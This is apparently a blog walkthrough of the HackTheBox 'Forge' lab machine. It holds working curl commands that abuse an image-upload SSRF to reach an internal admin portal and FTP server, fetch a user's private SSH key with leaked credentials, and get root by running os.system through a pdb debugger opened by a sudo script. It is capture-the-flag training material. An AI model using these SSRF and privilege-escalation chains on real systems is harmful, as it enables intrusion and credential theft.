In this HTB walkthrough of the Forge BOX, I will uncover the steps on how I escalated privileges, gained credential access, utilized the pdb Python debugger, and much more. I will show how I exploited vulnerabilities found. After completing this challenge, I must say that the peculiar feature of this BOX is that it certainly makes you think twice about every step you make. Now let's begin!

The nmap scan identifies the usual two ports: 22 (ssh) and 80 (http).

Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-28 22:29 CET
Nmap scan report for 10.10.11.111
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.98 seconds

Other information I found is the usual HTB domain reported on port 80, forge.htb which we are going to insert in our /etc/hosts file right away.



The portal looks like a simple page with an image gallery.



There is a possibility that I can insert an image from file or external url which returns a new url where it is available to retrieve the posted image. I begin to think about the possibility of a Remote File Inclusion (RFI) vulnerability, but although the system allows you to upload a file that does not contain an image, the code that returns it seems to be checked. We will come back to this aspect anyway. For the moment, let's go on with some other simpler approach and make a dirb scan for hidden folders.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.11.111 - Forge (lin)]
└─$ dirb http://forge.htb   

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Dec 29 22:27:18 2021
URL_BASE: http://forge.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://forge.htb/ ----
+ http://forge.htb/server-status (CODE:403|SIZE:274)                                                              
==> DIRECTORY: http://forge.htb/static/                                                                           
+ http://forge.htb/upload (CODE:200|SIZE:929)                                                                     
==> DIRECTORY: http://forge.htb/uploads/                                                                          
                                                                                                                  
---- Entering directory: http://forge.htb/static/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://forge.htb/uploads/ ----
                                                                                                                  
(!) FATAL: Too many errors connecting to host
    (Possible cause: COULDNT CONNECT)
                                                                               
-----------------
END_TIME: Wed Dec 29 22:34:00 2021
DOWNLOADED: 7965 - FOUND: 2

The static folder could be interesting, let's remember to take a look at it. But first, I want to insist on uploading malicious php code, perhaps trying to hide it in a real image file. While searching for "injecting php code into jpg" online, I found an interesting article.

Injecting executable PHP code to a JPG image file - One Step! Code
Injecting php code to jpg files. Demonstration of how jpg files can be injected with code and lead to website vulnerabilities.


I made a few attempts, but nothing gave me a good result. The php code inside the image was not running. So I decided to try to upload a php file using my native server again with a test file, but once again, the code is not interpreted.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/searching]
└─$ cat test.php 
<?php
echo 'Current PHP version: ' . phpversion();
?>
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/searching]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

#############################################
# upload file using the form on the portal!
#############################################

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.11.111 - Forge (lin)/attack]
└─$ curl http://forge.htb/uploads/hFNGXJ3DoOesBSE66A5f -v
*   Trying 10.10.11.111:80...
* Connected to forge.htb (10.10.11.111) port 80 (#0)
> GET /uploads/hFNGXJ3DoOesBSE66A5f HTTP/1.1
> Host: forge.htb
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 29 Dec 2021 22:51:41 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Disposition: inline; filename=hFNGXJ3DoOesBSE66A5f
< Content-Length: 54
< Last-Modified: Wed, 29 Dec 2021 22:51:01 GMT
< Cache-Control: no-cache
< Content-Type: image/jpg
< 
<?php
echo 'Current PHP version: ' . phpversion();
?>
* Connection #0 to host forge.htb left intact

I spent some time behind the static folder which, at the moment, didn't bring me any results. I also investigated the version of apache that the wappalizer gave me, but the CVE didn't help me, let alone the exploits. So I decided to look for the usual subdomain.

For those who follow me regularly, they already know that I normally rely on the dnsmasq to search for subdomains, pointing to it as a substitute for a normal DNS in order to be able to point each subdomain to the target BOX. But lately wandering among some articles, I discovered how to perform the same scan without bothering the dnsmasq service.

bruteforcing-subdomains-wfuzz

Once we identified the first valid subdomain, filtering was relatively easy.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/--==## DONE ##==--]
└─$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://forge.htb -H "Host:FUZZ.forge.htb" --hc 302
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://forge.htb/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                           
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin"                                           
000002700:   400        12 L     53 W       425 Ch      "m."                                              
000002795:   400        12 L     53 W       425 Ch      "ns2.cl.bellsouth.net."                           
000002883:   400        12 L     53 W       425 Ch      "ns1.viviotech.net."                              
000002885:   400        12 L     53 W       425 Ch      "ns2.viviotech.net."                              
000003050:   400        12 L     53 W       425 Ch      "ns3.cl.bellsouth.net."                           
000004082:   400        12 L     53 W       425 Ch      "jordan.fortwayne.com."                           
000004081:   400        12 L     53 W       425 Ch      "ferrari.fortwayne.com."                          
000004083:   400        12 L     53 W       425 Ch      "quatro.oweb.com."                                

Total time: 25.47534
Processed Requests: 5000
Filtered Requests: 4991
Requests/sec.: 196.2681

Perfect... not really. After browsing the subdomain http://admin.forge.htb/ I got the message 'Only localhost is allowed!' After some time was spent reflecting on an alternative path for the dead end I came across, I decide to retrace my steps and take another look at the upload page just to better understand how it works.

<!DOCTYPE html>
<html>
<head>
    <title>Upload an image</title>
</head>
<body onload="show_upload_local_file()">
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/upload.css">
    <script type="text/javascript" src="/static/js/main.js"></script>
    <header>
            <nav>
                <h1 class=""><a href="/">Gallery</a></h1>
                <h1 class="align-right"><a href="/upload">Upload an image</a></h1>
            </nav>
    </header>
    <center>
        <br><br>
        <div id="content">
            <h2 onclick="show_upload_local_file()">
                Upload local file
            </h2>
            <h2 onclick="show_upload_remote_file()">
                Upload from url
            </h2>
            <div id="form-div">
                
            </div>
        </div>
    </center>
    <br>
    <br>
</body>
</html>

I realize that a part of the page is missing which probably loads at runtime in the empty div. The code seems to refer to the main.js file contained in the static folder identified earlier.

function show_upload_local_file(argument) {
    var form_div = document.getElementById('form-div');
    form_div.innerHTML = `
        <form action="/upload" method="POST" enctype="multipart/form-data">
            <input type="file" name="file" class="file">
            <input name="local" type="hidden" value='1'>
            <br>
            <br>
            <button id="submit-local" type="submit" class="submit">Submit</button>
        </form>
        `;
}

function show_upload_remote_file(argument) {
    var form_div = document.getElementById('form-div');
    form_div.innerHTML = `
    <br><br>
        <form action="/upload" method="POST" enctype="application/x-www-form-urlencoded" >
            <input type="textbox" name="url" class="textbox">
            <input name="remote" type="hidden" value='1'>
            <br>
            <br>
            <button id="submit-remote" type="submit" class="submit">Submit</button>
        </form>
        `;
}

As I suspected, two different forms are loaded inside the div which differ substantially for the visible and not visible fields. In particular, the hidden fields "remote" and "local" identify the type of upload that is being carried out.

I spend hours trying to figure out how to use this upload to my advantage. First of all, I start making calls to the page with the postman. This allows me to view a more direct and immediate output than a simple message with the URL of the image, but above all, it allows me to quickly change the parameters I want to pass to the request.

The turning point, however, comes when I understand that I can try to exploit the problem of the admin portal which is only visible from the local address. I upload the administrative portal home page where it is possible to pass as the URL of an image and a local or internal address to the network. (Just like with all HTB BOXES, this cannot go out on the internet, so this form is useless except to reach my machine... or a local one). Here, I try to upload the admin portal home page.

...at least I have a message that gives me some useful information. I also tried with the addresses "127.0.0.1", "localhost" or "0.0.0.0", but the result was always the same. Something, once again, changed when I used the external address of the BOX (10.10.11.111).

		<center>
			<strong><a href="http://forge.htb/uploads/HGOFzdmuFlKYcWKoDl1G">http://forge.htb/uploads/HGOFzdmuFlKYcWKoDl1G</strong>
		</center>

Since the system uses code, I returned an image with a message in case the image is invalid. Next, I navigate the URL returned via curl command, and this has been very fruitful.

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.11.111 - Forge (lin)/attack/github/jhead]
└─$ curl http://forge.htb/uploads/HGOFzdmuFlKYcWKoDl1G                              
<!DOCTYPE html>
<html>
<head>
    <title>Gallery</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Gallery</a></h1>
                <h1 class="align-right"><a href="/upload">Upload an image</a></h1>
            </nav>
    </header>
    <br><br>
    <center>
        <table align="center">
            <tr>
                <td>
                    <center>
                        <img src="/static/images/image1.jpg">
                    </center>
                </td>
                <td>
                    <center>
                        <img src="/static/images/image2.jpg">
                    </center>
                </td>
                <td>
                    <center>
                        <img src="/static/images/image3.jpg">
                    </center>
                </td>
            </tr>
            <tr>
                <td>
                    <center>
                        <img src="/static/images/image4.jpg">
                    </center>
                </td>
                <td>
                    <center>
                        <img src="/static/images/image5.jpg">
                    </center>
                </td>
                <td>
                    <center>
                        <img src="/static/images/image6.jpg">
                    </center>
                </td>
            </tr>
            <tr>
                <td>
                    <center>
                        <img src="/static/images/image7.jpg">
                    </center>
                </td>
                <td>
                    <center>
                        <img src="/static/images/image8.jpg">
                    </center>
                </td>
                <td>
                    <center>
                        <img src="/static/images/image9.jpg">
                    </center>
                </td>
            </tr>
            <tr>
        </table>
    </center>
</body>
</html>

Well, I almost had the information where I could view the content of the pages I posted, but the problem still remained that I could not navigate the administrative page even through the portal upload. At least until I remembered that I was facing a Linux machine. Let's just hope the programmer has left us with at least this escape route.

Trying with the administrative portal uppercased (http://ADMIN.FORGE.HTB), I finally reach it.

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.11.111 - Forge (lin)/attack/github/jhead]
└─$ curl http://forge.htb/uploads/0hgJ4wFWNirYxwmUskga
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>  

Great, another step forward! By consulting the page we understand that is in addition to the home, there is also an "announcements" page (http://ADMIN.FORGE.HTB/announcements) which we will immediately download in the same way as the previous one.

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.11.111 - Forge (lin)/attack/github/jhead]
└─$ curl http://forge.htb/uploads/aX83hQBeBlYmpKMIhtW2
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

And here, a fantastic message informs us of a credential to access an internal ftp, and that same ftp can only be reached from the inside on the same administrative domain already found. Obviously those credentials do not work for the ssh protocol, but they provide us with additional information: the user "user" (hurray for the imagination) can probably access via public key.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/ssh]
└─$ ssh user@forge.htb   
user@forge.htb: Permission denied (publickey).

Another interesting piece of information I found is the use of the parameter "u" in querystring to pass the url that needs to be uploaded. So I start to do some tests, but it takes me a while to understand what my problem was. So I tried to upload my test php file to understand if I can pass some code that is subsequently interpreted. Using the URL "http://ADMIN.FORGE.HTB/upload?u=http://10.10.14.211:8000/test.php" to the original portal (http://forge.htb), I am able to upload to the administrative server, but I receive an invalid protocol message.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ curl http://forge.htb/uploads/lt6AxWsbkPaJOlqDyCKv
Invalid protocol! Supported protocols: http, https, ftp, ftps.

Ok, I know what you're thinking ... "what an idiot... and he's a programmer too" (I think I have to leave out some steps!). Changing the URL to "http://ADMIN.FORGE.HTB/upload?u=http://10.10.14.211:8000/test.php"...

<!DOCTYPE html>
<html>
<head>
    <title>Upload an image</title>
</head>
<body onload="show_upload_local_file()">
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/upload.css">
    <script type="text/javascript" src="/static/js/main.js"></script>
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <center>
        <br><br>
        <div id="content">
            <h2 onclick="show_upload_local_file()">
                Upload local file
            </h2>
            <h2 onclick="show_upload_remote_file()">
                Upload from url
            </h2>
            <div id="form-div">
                
            </div>
        </div>
    </center>
    <br>
    <br>
    <h1>
        <center>
            <strong>File uploaded successfully to the following url:</strong>
        </center>
    </h1>
    <h1>        
        <center>
            <strong><a href="http://forge.htb/uploads/ECzMNcKtRwnqdujM4du6">http://forge.htb/uploads/ECzMNcKtRwnqdujM4du6</strong>
        </center>
    </h1>
</body>
</html>

Great! Too bad that the php is not interpreted!

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ curl http://forge.htb/uploads/ECzMNcKtRwnqdujM4du6
<?php
echo 'Current PHP version: ' . phpversion();
?>

I am still leaving out one piece of information of the ones I have just discovered – namely the ftp server. Let's see if it's possible to reach it and peek inside with the same exploit. The url we will pass will therefore be this: http://ADMIN.FORGE.HTB/upload?u=ftp://ADMIN.FORGE.HTB

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ curl http://forge.htb/uploads/gr0SBmzPp1lw6nJz624x
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Ok, it doesn't seem like a bad result. Obviously I forgot the credentials, so let's try again and cross our fingers: http://ADMIN.FORGE.HTB/upload?u=ftp://user: heightofsecurity123!@ADMIN.FORGE.HTB

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ curl http://forge.htb/uploads/TghT5zgr4JynJY4JoTwV
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 04 19:08 user.txt

Wooooo... great! Now I don't know what happens if I point directly to the user.txt file (http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@ADMIN.FORGE.HTB/user.txt), but trying will not create any problems. Eventually, I can reset the machine and start again from this point. This time, luck is on our side – and with it – the first flag.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ curl http://forge.htb/uploads/DnC6ztdYTxphgLXLZhnr
7******************************6

Perfect! I continue to browse through the ftp folders looking for some other clue, but nothing particular emerges.

In the meantime, for simplicity I have created a bash that allows me to upload, extrapolate the resulting url and browse it.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/searching]
└─$ RESULT=`curl --location --request POST 'http://forge.htb/upload' --form 'url="http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@ADMIN.FORGE.HTB/snap/lxd/"' --form 'remote="1"' 2>/dev/null | grep -Eo 'http://[^ ">]+' | head -1` && curl $RESULT
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 20326
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 21029
drwxr-xr-x    2 1000     1000         4096 Aug 04 19:23 common
lrwxrwxrwx    1 1000     1000            5 May 31  2021 current -> 20326

Next, I reflect on the fact that the user.txt file is located in the home folder of the connected user (or in any case of the one who owns it). So, I realize that there may be hidden folders. Now, assuming the user is the user who can log in via public key (we saw this before), there may be a hidden .ssh folder. So I try to find it.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/searching]
└─$ RESULT=`curl --location --request POST 'http://forge.htb/upload' --form 'url="http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@ADMIN.FORGE.HTB/.ssh/"' --form 'remote="1"' 2>/dev/null | grep -Eo 'http://[^ ">]+' | head -1` && echo $RESULT && curl $RESULT
http://forge.htb/uploads/oEb8whMX2o4J6OH40NFs
-rw-------    1 1000     1000          564 May 31  2021 authorized_keys
-rw-------    1 1000     1000         2590 May 20  2021 id_rsa
-rw-------    1 1000     1000          564 May 20  2021 id_rsa.pub

Perfect! Let's recover the private key now...

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/searching]
└─$ RESULT=`curl --location --request POST 'http://forge.htb/upload' --form 'url="http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@ADMIN.FORGE.HTB/.ssh/id_rsa"' --form 'remote="1"' 2>/dev/null | grep -Eo 'http://[^ ">]+' | head -1` && echo $RESULT && curl $RESULT
http://forge.htb/uploads/nGfcMFaqXwMjVuHUOIZT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
[...]
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

...let's make sure it's the user "user." (I can't survive this.)

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/ssh]
└─$ RESULT=`curl --location --request POST 'http://forge.htb/upload' --form 'url="http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@ADMIN.FORGE.HTB/.ssh/id_rsa.pub"' --form 'remote="1"' 2>/dev/null | grep -Eo 'http://[^ ">]+' | head -1` && echo $RESULT && curl $RESULT
http://forge.htb/uploads/VUSdiRiucSl5MT13Y7P0
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdkg75DLB+Cd+2qjlqz6isdb/DVZusbqLoHtO/Y91DT02LE6a0dHeufEei6/j+XWk7aeM9/kZuNUcCwzAkNeYM2Nqpl8705gLsruGvsVXrGVRZOHBwqjSEg5W4TsmHV36N+kNhheo43mvoPM4MjlYzAsqX2fmtu0WSjfFot7CQdhMTZhje69WmnGycK8n/q6SvqntvNxHKBitPIQBaDmA5F+yqELcdqg7FeJeAbNNbJe1/ajjOY2Gy192BZYGkR9uAWBncNYn67bP9U5unQggoR+yBf5xZdBS3xEkCcqBNSMYCZ81Ev2cnGiZgeXJJDPbEvhRhdfNevwaYvpfT6cqtGCVo0V0LTKQtMayIazX5tzqMmIPURKJ5sBL9ksBNOxofjogT++/1c4nTmoRdEZTP5qmXMMbjBa+JI256sPL09MbEHqRHmkZsJoRahE8tUhv0SqdaHbv2Ze7RvjNiESD6fIMrq6L+euZFhQ5p2AIpdHvOUSbeaCPiG7hwVqwf8qU= user@forge

...and proceed to connect via ssh.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/ssh]
└─$ RESULT=`curl --location --request POST 'http://forge.htb/upload' --form 'url="http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@ADMIN.FORGE.HTB/.ssh/id_rsa"' --form 'remote="1"' 2>/dev/null | grep -Eo 'http://[^ ">]+' | head -1` && curl $RESULT > id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2590  100  2590    0     0  33205      0 --:--:-- --:--:-- --:--:-- 33636

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/ssh]
└─$ chmod 400 id_rsa                                                                                         255 ⨯
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.111 - Forge (lin)/attack/ssh]
└─$ ssh -i id_rsa user@forge.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 04 Jan 2022 10:03:52 PM UTC

  System load:  0.0               Processes:             219
  Usage of /:   44.6% of 6.82GB   Users logged in:       0
  Memory usage: 22%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan  4 20:21:52 2022 from 10.10.16.99
user@forge:~$

The passages here were not too difficult. The road was almost a one-way street. Now we need to perform privilege escalation, so let's check what we can start as a super user without using the password.

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

This is the python3 command with a ready-made script. Obviously we don't have permission to modify the script.

user@forge:~$ ls -la /opt/remote-manage.py
-rwxr-xr-x 1 root root 1447 May 31  2021 /opt/remote-manage.py

Taking a look at the script, it is clear that it opens an internal connection to a randomly generated port and allows you to launch three specific commands: try, except, finally. Everything is controlled by these three commands in one block, and in case of an exception, it activates a debug session with the python pdb debugger.

*This could come in handy as the python debugger allows you to query variables and check the flow of code and execute python commands. Since this would be a super user session, everything that would be executed would be with root permissions.

user@forge:~$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

Ok, let's give it a try! First of all, we will need two distinct sessions so we will have to connect in ssh from two different shells. After that, we start the listener in super user mode and try to send it as an exception. Just pass a non-numeric value so that parsing the value will generate an error.

ssh shell 1

user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:44789

ssh shell 2

user@forge:~$ nc localhost 44789
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
something

ssh shell 1

user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:44789
invalid literal for int() with base 10: b'something'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os; os.system('cat /root/root.txt');
9******************************2
0

What can I say?! Amazing! Well, once again, we completed another HTB challenge.
Now that's all folks, happy hacking and see you at the next BOX!

This spectacular image used in this article was created by Brazilian artist Pedro Correa.